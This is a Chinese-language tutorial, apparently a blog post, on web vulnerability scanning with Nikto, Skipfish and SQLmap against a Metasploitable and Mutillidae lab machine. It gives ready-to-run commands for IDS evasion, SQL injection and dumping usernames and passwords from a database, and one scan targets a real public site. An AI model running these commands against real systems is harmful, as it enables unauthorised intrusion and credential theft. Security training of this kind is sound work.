4.5 Web漏洞扫描

一、Nikto 

使用命令“nikto -H”查看帮助文档,相关参数使用说明如下:

  • -config <file>: 指定扫描的配置文件
  • -update: 更新扫描插件的数据库
  • -Format <format>: 自定义输出格式(CSV, HTM, NBE (Nessus), SQL, TXT, XML)
  • -evasion <technique>: 使用一些编码技术防止WAF或IDS检测
  • -list-plugins: 列出可用的测试插件
  • -Plugins <plugins>: 选择扫描中要用的插件(默认使用全部插件)
  • -port <port number>: 指定扫描的端口
  •  

更新数据库和插件出错:

虽然旧版本的Nikto使用-update选项,但从2.1.6版开始,应该使用git工具更新(和安装)Nikto。可使用“git pull”命令更新插件

下载地址: http://cirt.net/nikto/UPDATES/https://github.com/sullo/nikto/tree/master/program/plugins

nikto -host www.test.com -Tuning 123456789

nikto -host www.baidu.com -ssl -port 443

SSL Info:使用证书的相关信息  Subject:证书的信息;Cipers:证书加密的方式等等

web 服务器版本为BWS(baidu web server 1.1)

扫描Metasploitable 靶机:192.168.57.138

nikto -host 192.168.57.138 -output result.html

 二、Skipfish

参数说明:

skipfish -o result -S /usr/share/skipfish/dictionaries/complete.wl -I phpMyAdmin http://192.168.57.138/phpMyAdmin/

skipfish -o test -l 2000 -I mutillidae http://192.168.57.138/mutillidae/

若要在任何时间中止扫描,请按CTRL+C 程序会编写部分报告,在指定的位置。若要查看当前扫描URL的列表,可以在扫描过程中随时按空格键查看。

三、SQLmap

可使用sqlmap -hh 查看详细的帮助文档信息

相关参数说明如下:

--version 显示程序的版本号并退出

-v VERBOSE 详细级别:0-6(默认为1)

-d DIRECT 直接连接到数据库。

-u URL, --url=URL 目标URL

 -m 扫描文本文件中给定的多个目标

-r REQUESTFILE 从一个文件中载入HTTP请求。

--data=DATA 通过POST发送的数据字符串

--cookie=COOKIE HTTP Cookie头

-p TESTPARAMETER 可测试的参数

-f, --fingerprint 执行检查广泛的DBMS版本指纹

--users 枚举数据库管理系统用户

--passwords 枚举数据库管理系统用户密码哈希

-dbs 枚举数据库管理系统数据库

-a 列举后端数据库管理系统的信息、表中的结构和数据

get方法:

sqlmap -u "http://192.168.57.138/mutillidae/index.php?page=user-info.php&username=admin&password=password&user-info-php-submit-button=View+Account+Detais" -p username

可使用--batch 参数使用系统默认选项

扫描日志文件保存再/root/.sqlmap/output/目录下

为确定MySQL数据库管理系统的具体版本,可使用-f 参数查看数据库的指纹信息,如图:

使用--dbs扫描数据库

--users

--schema

探究:

sqlmap -u "http://192.168.57.138/mutillidae/index.php?page=user-info.php&username=admin&password=password&user-info-php-submit-button=View+Account+Detais" -D owasp10 -T accounts -C "cid,username,password" --dump

POST方法:

sqlmap -u "http://192.168.57.138/mutillidae/index.php" --data "page=login.php&username=1&password=222&login-php-submit-button=Login"

发布了48 篇原创文章 · 获赞 48 · 访问量 5万+

猜你喜欢

转载自blog.csdn.net/robacco/article/details/89785028
4.5